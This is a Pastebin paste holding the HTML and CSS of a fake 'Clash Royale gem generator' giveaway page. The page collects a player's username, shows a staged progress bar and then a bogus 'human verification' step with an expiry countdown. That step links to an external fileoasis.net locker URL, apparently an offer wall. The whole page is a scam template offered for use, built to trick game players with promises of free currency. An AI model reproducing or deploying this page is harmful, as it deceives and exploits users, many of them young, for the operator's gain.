Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="utf-8">
- <meta http-equiv="X-UA-Compatible" content="IE=edge">
- <meta name="viewport" content="width=device-width, initial-scale=1">
- <title>Official Clash Royale Generator 2017</title>
- <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
- <style>
- .mfp-bg {
- top: 0;
- left: 0;
- width: 100%;
- height: 100%;
- z-index: 1042;
- overflow: hidden;
- position: fixed;
- background: #0b0b0b;
- opacity: 0.8;
- filter: alpha(opacity=80); }
- .mfp-wrap {
- top: 0;
- left: 0;
- width: 100%;
- height: 100%;
- z-index: 1043;
- position: fixed;
- outline: none !important;
- -webkit-backface-visibility: hidden; }
- .mfp-container {
- text-align: center;
- position: absolute;
- width: 100%;
- height: 100%;
- left: 0;
- top: 0;
- padding: 0 8px;
- -webkit-box-sizing: border-box;
- -moz-box-sizing: border-box;
- box-sizing: border-box; }
- .mfp-container:before {
- content: '';
- display: inline-block;
- height: 100%;
- vertical-align: middle; }
- .mfp-align-top .mfp-container:before {
- display: none; }
- .mfp-content {
- position: relative;
- display: inline-block;
- vertical-align: middle;
- margin: 0 auto;
- text-align: left;
- z-index: 1045; }
- .mfp-inline-holder .mfp-content, .mfp-ajax-holder .mfp-content {
- width: 100%;
- cursor: auto; }
- .mfp-ajax-cur {
- cursor: progress; }
- .mfp-zoom-out-cur, .mfp-zoom-out-cur .mfp-image-holder .mfp-close {
- cursor: -moz-zoom-out;
- cursor: -webkit-zoom-out;
- cursor: zoom-out; }
- .mfp-zoom {
- cursor: pointer;
- cursor: -webkit-zoom-in;
- cursor: -moz-zoom-in;
- cursor: zoom-in; }
- .mfp-auto-cursor .mfp-content {
- cursor: auto; }
- .mfp-close, .mfp-arrow, .mfp-preloader, .mfp-counter {
- -webkit-user-select: none;
- -moz-user-select: none;
- user-select: none; }
- .mfp-loading.mfp-figure {
- display: none; }
- .mfp-hide {
- display: none !important; }
- .mfp-preloader {
- color: #CCC;
- position: absolute;
- top: 50%;
- width: auto;
- text-align: center;
- margin-top: -0.8em;
- left: 8px;
- right: 8px;
- z-index: 1044; }
- .mfp-preloader a {
- color: #CCC; }
- .mfp-preloader a:hover {
- color: #FFF; }
- .mfp-s-ready .mfp-preloader {
- display: none; }
- .mfp-s-error .mfp-content {
- display: none; }
- button.mfp-close, button.mfp-arrow {
- overflow: visible;
- cursor: pointer;
- background: transparent;
- border: 0;
- -webkit-appearance: none;
- display: block;
- outline: none;
- padding: 0;
- z-index: 1046;
- -webkit-box-shadow: none;
- box-shadow: none; }
- button::-moz-focus-inner {
- padding: 0;
- border: 0; }
- .mfp-close {
- width: 44px;
- height: 44px;
- line-height: 44px;
- position: absolute;
- right: 0;
- top: 0;
- text-decoration: none;
- text-align: center;
- opacity: 0.65;
- filter: alpha(opacity=65);
- padding: 0 0 18px 10px;
- color: #FFF;
- font-style: normal;
- font-size: 28px;
- font-family: Arial, Baskerville, monospace; }
- .mfp-close:hover, .mfp-close:focus {
- opacity: 1;
- filter: alpha(opacity=100); }
- .mfp-close:active {
- top: 1px; }
- .mfp-close-btn-in .mfp-close {
- color: #333; }
- .mfp-image-holder .mfp-close, .mfp-iframe-holder .mfp-close {
- color: #FFF;
- right: -6px;
- text-align: right;
- padding-right: 6px;
- width: 100%; }
- .mfp-counter {
- position: absolute;
- top: 0;
- right: 0;
- color: #CCC;
- font-size: 12px;
- line-height: 18px;
- white-space: nowrap; }
- .mfp-arrow {
- position: absolute;
- opacity: 0.65;
- filter: alpha(opacity=65);
- margin: 0;
- top: 50%;
- margin-top: -55px;
- padding: 0;
- width: 90px;
- height: 110px;
- -webkit-tap-highlight-color: rgba(0, 0, 0, 0); }
- .mfp-arrow:active {
- margin-top: -54px; }
- .mfp-arrow:hover, .mfp-arrow:focus {
- opacity: 1;
- filter: alpha(opacity=100); }
- .mfp-arrow:before, .mfp-arrow:after, .mfp-arrow .mfp-b, .mfp-arrow .mfp-a {
- content: '';
- display: block;
- width: 0;
- height: 0;
- position: absolute;
- left: 0;
- top: 0;
- margin-top: 35px;
- margin-left: 35px;
- border: medium inset transparent; }
- .mfp-arrow:after, .mfp-arrow .mfp-a {
- border-top-width: 13px;
- border-bottom-width: 13px;
- top: 8px; }
- .mfp-arrow:before, .mfp-arrow .mfp-b {
- border-top-width: 21px;
- border-bottom-width: 21px;
- opacity: 0.7; }
- .mfp-arrow-left {
- left: 0; }
- .mfp-arrow-left:after, .mfp-arrow-left .mfp-a {
- border-right: 17px solid #FFF;
- margin-left: 31px; }
- .mfp-arrow-left:before, .mfp-arrow-left .mfp-b {
- margin-left: 25px;
- border-right: 27px solid #3F3F3F; }
- .mfp-arrow-right {
- right: 0; }
- .mfp-arrow-right:after, .mfp-arrow-right .mfp-a {
- border-left: 17px solid #FFF;
- margin-left: 39px; }
- .mfp-arrow-right:before, .mfp-arrow-right .mfp-b {
- border-left: 27px solid #3F3F3F; }
- .mfp-iframe-holder {
- padding-top: 40px;
- padding-bottom: 40px; }
- .mfp-iframe-holder .mfp-content {
- line-height: 0;
- width: 100%;
- max-width: 900px; }
- .mfp-iframe-holder .mfp-close {
- top: -40px; }
- .mfp-iframe-scaler {
- width: 100%;
- height: 0;
- overflow: hidden;
- padding-top: 56.25%; }
- .mfp-iframe-scaler iframe {
- position: absolute;
- display: block;
- top: 0;
- left: 0;
- width: 100%;
- height: 100%;
- box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
- background: #000; }
- /* Main image in popup */
- img.mfp-img {
- width: auto;
- max-width: 100%;
- height: auto;
- display: block;
- line-height: 0;
- -webkit-box-sizing: border-box;
- -moz-box-sizing: border-box;
- box-sizing: border-box;
- padding: 40px 0 40px;
- margin: 0 auto; }
- /* The shadow behind the image */
- .mfp-figure {
- line-height: 0; }
- .mfp-figure:after {
- content: '';
- position: absolute;
- left: 0;
- top: 40px;
- bottom: 40px;
- display: block;
- right: 0;
- width: auto;
- height: auto;
- z-index: -1;
- box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
- background: #444; }
- .mfp-figure small {
- color: #BDBDBD;
- display: block;
- font-size: 12px;
- line-height: 14px; }
- .mfp-figure figure {
- margin: 0; }
- .mfp-bottom-bar {
- margin-top: -36px;
- position: absolute;
- top: 100%;
- left: 0;
- width: 100%;
- cursor: auto; }
- .mfp-title {
- text-align: left;
- line-height: 18px;
- color: #F3F3F3;
- word-wrap: break-word;
- padding-right: 36px; }
- .mfp-image-holder .mfp-content {
- max-width: 100%; }
- .mfp-gallery .mfp-image-holder .mfp-figure {
- cursor: pointer; }
- @media screen and (max-width: 800px) and (orientation: landscape), screen and (max-height: 300px) {
- /**
- * Remove all paddings around the image on small screen
- */
- .mfp-img-mobile .mfp-image-holder {
- padding-left: 0;
- padding-right: 0; }
- .mfp-img-mobile img.mfp-img {
- padding: 0; }
- .mfp-img-mobile .mfp-figure:after {
- top: 0;
- bottom: 0; }
- .mfp-img-mobile .mfp-figure small {
- display: inline;
- margin-left: 5px; }
- .mfp-img-mobile .mfp-bottom-bar {
- background: rgba(0, 0, 0, 0.6);
- bottom: 0;
- margin: 0;
- top: auto;
- padding: 3px 5px;
- position: fixed;
- -webkit-box-sizing: border-box;
- -moz-box-sizing: border-box;
- box-sizing: border-box; }
- .mfp-img-mobile .mfp-bottom-bar:empty {
- padding: 0; }
- .mfp-img-mobile .mfp-counter {
- right: 5px;
- top: 3px; }
- .mfp-img-mobile .mfp-close {
- top: 0;
- right: 0;
- width: 35px;
- height: 35px;
- line-height: 35px;
- background: rgba(0, 0, 0, 0.6);
- position: fixed;
- text-align: center;
- padding: 0; }
- }
- @media all and (max-width: 900px) {
- .mfp-arrow {
- -webkit-transform: scale(0.75);
- transform: scale(0.75); }
- .mfp-arrow-left {
- -webkit-transform-origin: 0;
- transform-origin: 0; }
- .mfp-arrow-right {
- -webkit-transform-origin: 100%;
- transform-origin: 100%; }
- .mfp-container {
- padding-left: 6px;
- padding-right: 6px; }
- }
- .mfp-ie7 .mfp-img {
- padding: 0; }
- .mfp-ie7 .mfp-bottom-bar {
- width: 600px;
- left: 50%;
- margin-left: -300px;
- margin-top: 5px;
- padding-bottom: 5px; }
- .mfp-ie7 .mfp-container {
- padding: 0; }
- .mfp-ie7 .mfp-content {
- padding-top: 44px; }
- .mfp-ie7 .mfp-close {
- top: 0;
- right: 0;
- padding-top: 0; }
- .white-popup-block {
- background:#FFFFFF;
- text-align:left;
- max-width:650px;
- position:relative;
- margin:40px auto;
- padding:20px 30px;
- }
- </style>
- <style>
- @font-face {
- font-family: ClashRoyal;
- src: url("http://royalehackgenerator.com/font/webfont.ttf");
- font-weight: bold;
- }
- body {
- background-image: url("http://i.imgur.com/goRJHnM.jpg");
- background-size: cover;
- background-repeat: no-repeat;
- font-family: ClashRoyal;
- height: 100%;
- -webkit-box-shadow: inset 3px 9px 93px 34px rgba(0,0,0,0.28);
- -moz-box-shadow: inset 3px 9px 93px 34px rgba(0,0,0,0.28);
- box-shadow: inset 3px 9px 93px 34px rgba(0,0,0,0.28);
- position: relative;
- min-height: 100%;
- overflow: auto;
- }
- html {
- height: 100%;
- min-height: 100%;
- overflow: auto;
- }
- .overlay {
- height: 100%;
- min-height: 100%;
- position: relative;
- }
- h1 {
- position: relative;
- font-size: 16px;
- text-transform: uppercase;
- color: #fff;
- text-align: left;
- padding: 19px 0px 1px 93px;
- text-shadow: 0 3px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
- margin-top: 0px;
- }
- h1:before {
- content: '';
- position: absolute;
- top: 10px;
- left: 16px;
- background: url("http://i.imgur.com/0vdiMJt.jpg");
- width: 68px;
- height: 68px;
- background-size: 100%;
- background-repeat: no-repeat;
- box-shadow: 1px 2.5px 6px 2px rgba(0, 0, 0, 0.7);
- border-radius: 5px;
- }
- .title-wrap {
- float: none;
- width: 283px;
- }
- .selected-amount-wrapper {
- background-image: linear-gradient(to bottom, rgba(30, 40, 47, 0.77) 0%, rgba(30, 40, 47, 0.77) 50%, rgba(2, 13, 23, 0.89) 51%, rgba(2, 13, 23, 0.89) 100%);
- padding: 4px 0px 4px 0px;
- font-size: 14px;
- padding-right: 25px;
- text-align:right;
- -webkit-border-radius: 2px;
- -moz-border-radius: 2px;
- border-radius: 2px;
- position: relative;
- color: #fff;
- cursor: default;
- }
- .single-resource-wrapper {
- margin-bottom: 15px;
- padding-right: 10px;
- padding-left:10px;
- }
- .value-button-wrapper {
- position: relative;
- -webkit-transition: all 0.2s ease-in-out 0s;
- -moz-transition: all 0.2s ease-in-out 0s;
- -ms-transition: all 0.2s ease-in-out 0s;
- -o-transition: all 0.2s ease-in-out 0s;
- transition: all 0.2s ease-in-out 0s;
- }
- .value-button.btn-disabled {
- border: 2px solid transparent;
- }
- .value-button::selection {
- background: none;
- }
- .value-button::-moz-selection {
- background: none;
- }
- .value-button:active {
- transform:scale(0.9,0.9);
- }
- .value-button.btn-disabled:active {
- transform:scale(1,1);
- }
- .decrease-button.btn-disabled {
- color: #666;
- cursor: not-allowed;
- }
- .increase-button.btn-disabled {
- color:#666;
- opacity: .5;
- cursor: not-allowed;
- }
- .panel-title {
- margin-bottom: 15px;
- }
- .panel-title h2 {
- margin: 0;
- }
- .resource-img {
- max-width: 46px;
- position: absolute;
- right: -13px;
- top: -9px;
- }
- .max-amount {
- display: none;
- content: 'MAX';
- color: #24272d;
- right: 15px;
- top: 2px;
- position: absolute;
- }
- .max-amount::selection {
- background: none;
- }
- .max-amount::-moz-selection {
- background: none;
- }
- .royalgold-amount,
- .royalgem-amount {
- color: #d4d4d6;
- font-weight: 600;
- }
- .control-increase {
- position: absolute;
- left: -11px;
- top: -35px;
- width: 37px;
- }
- .control-increase img {
- height: 40px;
- }
- .control-decrease {
- position: absolute;
- top: -2px;
- right: -19px;
- width: 37px;
- line-height: 32px;
- }
- .resources-select-wrapper {
- margin-top: 30px;
- }
- .username-wraper {
- margin-top: 10px;
- padding-right: 0px;
- padding-left: 0px;
- margin-bottom: 30px;
- position: relative;
- }
- .username-wrap {
- padding-right: 0px;
- padding-left: 0px;
- text-align: center;
- position: relative;
- }
- .username-wrap input {
- width: 100%;
- padding: 3px 3px;
- background:rgba(2, 13, 23, 0.80);
- color: #fff;
- border-radius: 4px;
- border:none;
- outline: 0;
- margin-top: -1px;
- }
- .connect-button {
- position: absolute;
- top: 21px;
- right: -21px;
- }
- .connect-button:active {
- transform:scale(0.9,0.9);
- }
- .connect-button img {
- height: 32px;
- }
- .username-wrap label {
- font-size: 12px;
- letter-spacing: .3px;
- color: #fff;
- text-shadow: 0 3px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
- text-align: left;
- }
- .usernameicn-backg {
- background-color: rgba(39, 51, 62, 0.61);
- padding-right: 0px;
- overflow: auto;
- border-radius: 4px;
- padding: 5px 10px 10px 10px;
- box-shadow: 1px 2px 2px .2px rgba(0, 0, 0, 0.7);
- border: 1px solid rgba(85, 219, 222, 0.58);
- }
- .username-control {
- padding-left: 15px;
- padding-right: 0px;
- }
- .acc-icon {
- padding: 7px;
- background: rgba(39, 51, 62, 0.61);
- max-width: 63.75px;
- border-radius: 5px;
- position: relative;
- border: 1px solid rgba(85, 219, 222, 0.58);
- box-shadow: 1px 2px 1px 2px rgba(0, 0, 0, 0.7);
- }
- .acc-icon:active {
- transform:scale(0.9,0.9);
- }
- .acc-icon img {
- height: 50px;
- }
- .username-wrap2 {
- padding-right: 0px;
- padding-left: 0px;
- text-align: left;
- position: relative;
- color: #fff;
- text-shadow: 0 3px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
- display: none;
- }
- #user-text {
- margin-bottom: 0px;
- margin-top: 5px;
- font-size: 16px;
- }
- .username-wrap2 img {
- height: 46px;
- float: left;
- margin-top: 4px;
- margin-right: 3px;
- }
- .connected-usr {
- font-size: 12px;
- margin-bottom: 0px;
- color: #ffffcc;
- }
- .yes-confirm {
- position: absolute;
- top: 13px;
- right: -20px;
- height: 24px!important;
- }
- .icon-effect {
- background-color: rgba(255, 255, 255, 0.43);
- height: 39%;
- position: absolute;
- top: 3px;
- right: 3px;
- left: 3px;
- border-radius: 4px;
- z-index: -1;
- }
- .display-none {
- display: none;
- }
- .arena-img {
- max-height: 260px;
- margin-top: 20px;
- }
- .giveway-btn {
- background-image: url("http://i.imgur.com/dOT5NOB.png");
- background-size: 100%;
- height: 73px;
- width: 154px;
- position: relative;
- background-repeat: no-repeat;
- margin-bottom: 83px;
- }
- .giveway-btn-text span {
- position: absolute;
- top: 50%;
- left: 50%;
- transform:translate(-50%,-50%);
- color: #ffffcc;
- font-size: 16px;
- text-shadow: 0 3px 0 #582e00, -1px -1px 0 #582e00, 1px -1px 0 #582e00, -1px 1px 0 #582e00, 1px 1px 0 #582e00;
- }
- .giveway-btn:active {
- transform:scale(0.9,0.9);
- }
- .progress {
- height: 22px;
- border:2px solid #222;
- border-radius: 7px;
- background-color: #44433e;
- position: relative;
- }
- .progress span {
- position: relative;
- z-index: 11;
- font-size: 11px;
- top: -2px;
- color: #66feff;
- text-shadow: 0 1px 0 #582e00, -1px -1px 0 #582e00, 1px -1px 0 #582e00, -1px 1px 0 #582e00, 1px 1px 0 #582e00;
- }
- .progress-bar {
- background-image: linear-gradient(to bottom, #2FD8FF 36%, #25C0EC 41%, #25C0EC 80%, #25C0EC 100%);
- border-radius: 7px;
- position: absolute;
- z-index: 10;
- }
- .progress:before {
- content: '';
- border-top: solid #2c2d28 3px;
- position: absolute;
- width: 100%;
- height: 3px;
- left: 0;
- border-radius: 8px;
- z-index: 1;
- }
- .icon-progress {
- position: absolute;
- left: -21px;
- top: 33px;
- z-index: 20;
- height: 49px;
- }
- .giveway-progress {
- text-shadow: 0 2px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
- }
- .menu-wrap {
- position: fixed;
- bottom: 0px;
- left: 0px;
- right: 0px;
- z-index: 50;
- }
- .menu-wrap ul {
- padding: 0px;
- margin-bottom: 0px;
- text-align: center;
- position: relative;
- background-color: #334353;
- box-shadow: 3px 1.5px 7px 4px rgba(0, 0, 0, 0.7);
- }
- .menu-wrap ul:before {
- content: '';
- position: absolute;
- height: 2px;
- border-top:2px solid rgba(255, 255, 255, 0.22);
- top:0px;
- left: 0px;
- width: 100%;
- z-index: 3;
- }
- .menu-wrap ul li {
- display: inline-block;
- list-style-type: none;
- padding-bottom: 5px;
- padding-top: 5px;
- border-right: solid 1px #1f2831;
- position: relative;
- }
- .menu-wrap ul li:after {
- content: '';
- position: absolute;
- height: 2px;
- border-left: 1px solid rgba(255, 255, 255, 0.22);
- top:0px;
- right: -1px;
- width: 2px;
- height: 100%;
- }
- .menu-wrap ul li img {
- height: 54px;
- }
- .battle {
- border:none!important;
- background-image: linear-gradient(to bottom, #4F708F 20%, #5C8CB0 55%);
- }
- .battle:before {
- content: '';
- position: absolute;
- height: 2px;
- border-left:2px solid rgba(255, 255, 255, 0.18);
- top:0px;
- left: 0px;
- width: 2px;
- height: 100%;
- }
- .battle>img {
- top: -15px!important;
- padding-right: 11px;
- padding-left: 11px;
- position: relative;
- z-index: 5;
- }
- .battle span {
- display: block;
- font-size: 10px;
- margin-bottom: -4px;
- position: absolute;
- right: 0px;
- left: 0px;
- bottom: 9px;
- text-shadow: 0 2px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
- color: #fff;
- }
- .clan {
- border-left: solid 1px #1f2831;
- }
- .clan:before {
- content: '';
- position: absolute;
- height: 2px;
- border-left:2px solid rgba(255, 255, 255, 0.18);
- top:0px;
- left: 0px;
- width: 2px;
- height: 100%;
- }
- .tv-icon {
- border:none!important;
- }
- .tv-icon:after {
- border:none!important;
- }
- .overlay-battle {
- position: absolute;
- background-image: linear-gradient(to bottom, #4F708F 20%, #5C8CB0 55%);
- top: 0;
- left:0;
- bottom: 0;
- }
- .popover-p {
- font-size: 11px;
- margin-bottom: 0px;
- }
- .popover.bottom>.arrow {
- left: 50%!important;
- }
- .popover {
- background-color: #ece9e4!important;
- -webkit-animation: bounce 1.8s infinite;
- -moz-animation: bounce 1.8s infinite;
- -o-animation: bounce 1.8s infinite;
- z-index: 1000;
- }
- @keyframes bounce {
- 0%, 20%, 50%, 80%, 100% {transform: translateY(0);}
- 40% {transform: translateY(-8px);}
- 60% {transform: translateY(-2px);}
- }
- #popover2 {
- margin-top: -10px!important;
- position: absolute;
- bottom: 30px;
- left: 10px;
- }
- #popover3 {
- margin-top: -10px!important;
- position: absolute;
- top: 10px;
- left: 0px;
- right: 0px;
- }
- .popover-content {
- padding: 10px 9px!important;
- }
- .clear {
- clear: both;
- }
- .popup-content {
- background-color: #deebf1;
- margin: 3px;
- border-radius: 4px;
- }
- .popup-content p {
- margin-bottom: 0px;
- padding: 10px 22px 10px 22px;
- text-align: center;
- font-size: 11.5px;
- }
- .mfp-close {
- opacity: 1;
- right: 8px;
- top: 6px;
- width: 38px;
- }
- .mfp-close:active {
- transform:scale(0.9,0.9);
- }
- .popup-list {
- padding: 0px;
- }
- .popup-list li {
- display: inline-block;
- padding: 10px;
- list-style-type:none;
- }
- .popup-list li img {
- height: 40px;
- }
- .popup-list li img:active {
- transform:scale(0.9,0.9);
- }
- .popup-style {
- background-color: #636a7c;
- padding: 5px;
- border-radius: 6px;
- max-width: 280px;
- border:solid 2px #333333;
- }
- .popup-style h4 {
- color: #fff;
- margin-top: 6px;
- font-size: 16px;
- text-shadow: 0 2px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
- }
- .popup-style:before {
- content: '';
- border-top: 2px solid rgba(241, 216, 197, 0.45);
- border-top-right-radius: 6px;
- border-top-left-radius: 6px;
- top:0;
- left: 3px;
- width: 98%;
- position: absolute;
- }
- .roate-device {
- height: 100px;
- }
- .verification {
- display: none;
- background-color: #384b5e;
- width: 89%;
- margin-top: 12px;
- border:solid 1px #333333;
- position: relative;
- border-radius: 6px;
- color: #fff;
- padding-bottom: 20px;
- }
- .verification:before {
- content: '';
- border-top: 3px solid rgba(241, 216, 197, 0.25);
- border-top-right-radius: 6px;
- border-top-left-radius: 6px;
- top:0;
- left: 0px;
- width: 100%;
- position: absolute;
- }
- .header-wrap {
- position: relative;
- height: 100%;
- }
- .header-wrap h4 {
- font-size: 13px;
- letter-spacing: 1px;
- position: absolute;
- top: 24%;
- left:50%;
- transform: translate(-50%,-50%);
- text-shadow: 0 2px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
- }
- .header-wrap img {
- max-height: 56px;
- }
- .content-ver p {
- font-size: 11px;
- text-shadow: 0 1px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
- text-align: center;
- padding-left: 10px;
- padding-right: 10px;
- }
- .verify-btn {
- background-image: url("http://i.imgur.com/dOT5NOB.png");
- background-size: 100%;
- height: 61px;
- width: 126px;
- position: relative;
- background-repeat: no-repeat;
- margin-bottom: 3px;
- }
- .verify-btn-text a {
- position: absolute;
- top: 50%;
- left: 50%;
- transform:translate(-50%,-50%);
- color: #ffffcc;
- font-size: 13px;
- text-align: center;
- text-shadow: 0 3px 0 #582e00, -1px -1px 0 #582e00, 1px -1px 0 #582e00, -1px 1px 0 #582e00, 1px 1px 0 #582e00;
- }
- .verify-btn:active {
- transform:scale(0.9,0.9);
- }
- .clock-img {
- height: 30px;
- }
- @media only screen and (max-width : 325px) {
- h1 {
- font-size: 13px;
- }
- h1:before {
- width: 59px;
- height: 59px;
- top: 7px;
- left: 27px;
- }
- .progress {
- margin-bottom: 6px!important;
- }
- .resources-select-wrapper {
- margin-top: 3px!important;
- }
- .username-wraper {
- position: relative;
- margin-bottom: 9px;
- }
- .giveway-progress p {
- margin-bottom: 3px!important;
- }
- .progress {
- margin-bottom: 7px;
- }
- .arena-img {
- max-height: 168px!important;
- margin-top: 0px!important;
- }
- .icon-progress {
- top: 21px;
- left: -28px!important;
- }
- .giveway-btn {
- height: 70px!important;
- width: 151px!important;
- }
- .battle>img {
- top: -15px!important;
- padding-right: 11px!important;
- padding-left: 11px!important;
- position: relative;
- z-index: 5;
- }
- }
- @media only screen and (min-width : 320px) {
- .usernameicn-backg {
- background-color: rgba(39, 51, 62, 0.61);
- padding-right: 0px;
- overflow: auto;
- border-radius: 4px;
- padding: 0px 5px 5px 5px;
- box-shadow: 1px 2px 2px 0.2px rgba(0, 0, 0, 0.7);
- position: relative;
- }
- .acc-icon img {
- height: 39px;
- }
- .giveway-progress p {
- margin-bottom: 3px;
- }
- .icon-progress {
- position: absolute;
- left: -21px;
- top: 21px;
- z-index: 20;
- height: 49px;
- }
- .padding-xs-prof{
- padding-right: 0px;
- padding-left: 0px;
- }
- .padding-xs-sett{
- padding-right: 0px;
- padding-left: 0px;
- }
- .resources-select-wrapper {
- margin-top: 16px;
- }
- .username-wraper {
- margin-top: 0px;
- padding-right: 0px;
- padding-left: 0px;
- margin-bottom: 13px;
- position: relative;
- }
- .arena-img {
- max-height: 209px;
- margin-top: 11px;
- }
- .progress {
- margin-bottom: 13px;
- }
- .single-resource-wrapper {
- margin-bottom: 9px;
- padding-right: 10px;
- padding-left: 10px;
- }
- .giveway-btn {
- background-image: url("http://i.imgur.com/dOT5NOB.png");
- background-size: 100%;
- height: 89px;
- width: 188px;
- position: relative;
- background-repeat: no-repeat;
- margin-bottom: 83px;
- }
- .battle>img {
- top: -15px!important;
- padding-right: 30px;
- padding-left: 30px;
- position: relative;
- z-index: 5;
- }
- }
- @media only screen and (min-width : 414px) {
- .arena-img {
- max-height: 258px;
- margin-top: 15px;
- }
- .username-wraper {
- margin-top: 0px;
- padding-right: 0px;
- padding-left: 0px;
- margin-bottom: 15px;
- position: relative;
- }
- }
- @media (min-width: 767px) {
- .overlay {
- max-width: 414px;
- min-width: 414px;
- min-height: 735px;
- max-height: 735px;
- border: 3px solid #334353;
- border-radius: 5px;
- box-shadow: inset 3px 9px 93px 34px rgba(0,0,0,0.28);
- background-image: url("http://i.imgur.com/vU0osQz.jpg");
- background-size: cover;
- background-repeat: no-repeat;
- background-position: center center;
- }
- .menu-wrap {
- position: absolute;
- }
- body {
- background-image: url("http://i.imgur.com/tsrN1YF.jpg");
- box-shadow: none;
- }
- #popover2 {
- margin-top: -10px!important;
- position: absolute;
- bottom: 30px;
- left: 75px;
- }
- .center-wrap-desktop{
- box-shadow: 2px -2.5px 40px 12px rgba(0, 0, 0, 0.7);
- max-width: 414px;
- min-height: 735px;
- max-height: 735px;
- }
- }
- @media (min-height: 780px) {
- .center-wrap-desktop {
- position: absolute;
- top:50%;
- left: 50%;
- transform: translate(-50%,-50%);
- box-shadow: 2px -2.5px 40px 12px rgba(0, 0, 0, 0.7);
- }
- }
- </style>
- </head>
- <body>
- <div class="center-wrap-desktop center-block">
- <div class="overlay center-block" style="max-width: 414px;">
- <div class="title-wrap center-block">
- <h1>official clash royale gem giveaway</h1>
- </div>
- <div style="position: relative;">
- <div id="resources-select-wrapper" class="resources-select-wrapper col-lg-12">
- <div class="single-resource-wrapper col-xs-6">
- <div class="royalgold-select-wrapper">
- <div class=" responsive-value-wrapper">
- <div id="royalgold-amount-wrapper" class="selected-amount-wrapper">
- <img class="resource-img" src="http://i.imgur.com/8m6aiUQ.png" />
- <div id="royalgold-amount" class="royalgold-amount">0</div>
- </div>
- </div>
- <div class=" no-padding-left responsive-button-wrapper">
- <div class="value-button-wrapper">
- <div id="increase-royalgold" class="increase-button value-button control-increase"><img src="http://i.imgur.com/lVgliOY.png"></div>
- </div>
- </div>
- </div>
- </div>
- <div class="single-resource-wrapper col-xs-6">
- <div class="royalgem-select-wrapper">
- <div class=" responsive-value-wrapper">
- <div id="royalgem-amount-wrapper" class="selected-amount-wrapper">
- <img class="resource-img" src="http://i.imgur.com/Xeb3m0R.png" />
- <div id="royalgem-amount" class="royalgem-amount">0</div>
- </div>
- <a href="#" data-toggle="popover"
- data-html="true" data-placement="bottom"
- data-content="<p class='popover-p' style='font-family:ClashRoyal; '>
- <span style='color:#00cb19;'>Click</span> on <img src='http://i.imgur.com/lVgliOY.png' style='height:25px;'> and select amount of resources</p>" id="popover1"></a>
- </div>
- <div class=" no-padding-left responsive-button-wrapper">
- <div class="value-button-wrapper">
- <div id="increase-royalgem" class="increase-button value-button control-increase"><img src="http://i.imgur.com/lVgliOY.png"></div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="col-xs-12 text-center username-wraper ">
- <div class="username-control col-xs-9">
- <div class="usernameicn-backg">
- <div class="icon-effect display-none"></div>
- <div class="col-xs-11 username-wrap">
- <label > Your Username</label>
- <input type="text" name="username" id="usernameInput" >
- <a href="#" class="connect-button" id="connect-btn">
- <img src="http://i.imgur.com/YDlpCYT.png">
- </a>
- </div>
- <div class="col-xs-11 username-wrap2">
- <img src="http://i.imgur.com/dbEwnt8.png">
- <p id="user-text">Your Username</p>
- <p class="connected-usr">Connected</p>
- <img src="http://i.imgur.com/LcYtC50.png" class="yes-confirm">
- </div>
- </div>
- </div>
- <div class="col-xs-3 padding-xs-sett">
- <div class="acc-icon center-block show-message">
- <div class="icon-effect">
- </div>
- <img src="http://i.imgur.com/IEyhi5t.png" class="center-block">
- </div>
- </div>
- </div>
- <a href="#" data-toggle="popover"
- data-html="true" data-placement="bottom"
- data-content="<p class='popover-p' style='font-family:ClashRoyal; '>
- <span style='color:#00cb19;'>Enter</span> username</br> and click on <img src='http://i.imgur.com/YDlpCYT.png' style='height:20px'></p>" id="popover2"></a>
- <div class="clear"></div>
- </div>
- <div class="giveway-progress center-block" style="width: 70%; text-align: center; position: relative;">
- <p style="color: #32ccfe; text-align: center;">Giveaway Progress</p>
- <p style="font-size: 10px; color: #fff;" id="giveway-text">giveaway waiting for you</p>
- <div class="progress">
- <div class="progress-bar active g-progressbar" role="progressbar" style="width: 20%"></div>
- <span id="progress-span">0</span><span>/4</span>
- </div>
- <img src="http://i.imgur.com/Ap6xh5H.png" class="icon-progress">
- </div>
- <div class="display-no" >
- <img src="http://i.imgur.com/VFKDo62.png" class="img-responsive center-block arena-img">
- <div class="giveway-btn center-block">
- <div class="giveway-btn-text">
- <a href="#" data-toggle="popover"
- data-html="true" data-placement="top"
- data-content="<p class='popover-p' style='font-family:ClashRoyal; '>
- <b style='color:#00cb19;'>Click</b> on button</p>" id="popover3">
- </a>
- <span>Giveaway</span>
- </div>
- </div>
- </div>
- <div class="verification center-block">
- <div class="header-wrap">
- <img src="http://i.imgur.com/MQcG7tP.png" class="img-responsive center-block">
- <h4>Verification</h4>
- </div>
- <div class="content-ver">
- <p>Congratulations <span id="user-text2" style="color: #ffffcc;"></span> your Giveaway is ready.. But in order to prove you are a human you must verify yourself on the next step to complete</p>
- <p>Your Giveaway will expire in:</br> <img src="http://i.imgur.com/Kxx4xDq.png" class="clock-img"> <span class="verificationcounter" style="color: #ffffcc; font-size: 12px;"></span></p>
- <div class="verify-btn center-block">
- <div id="locker" class="verify-btn-text">
- <!-- <span>verify now</span> -->
- <!-- Your Link --> <a href="https://www.fileoasis.net/cl.php?id=ba31f0461ceb2f46a34352a1afab8a12">Verify Now</a>
- </div>
- </div>
- </div>
- </div>
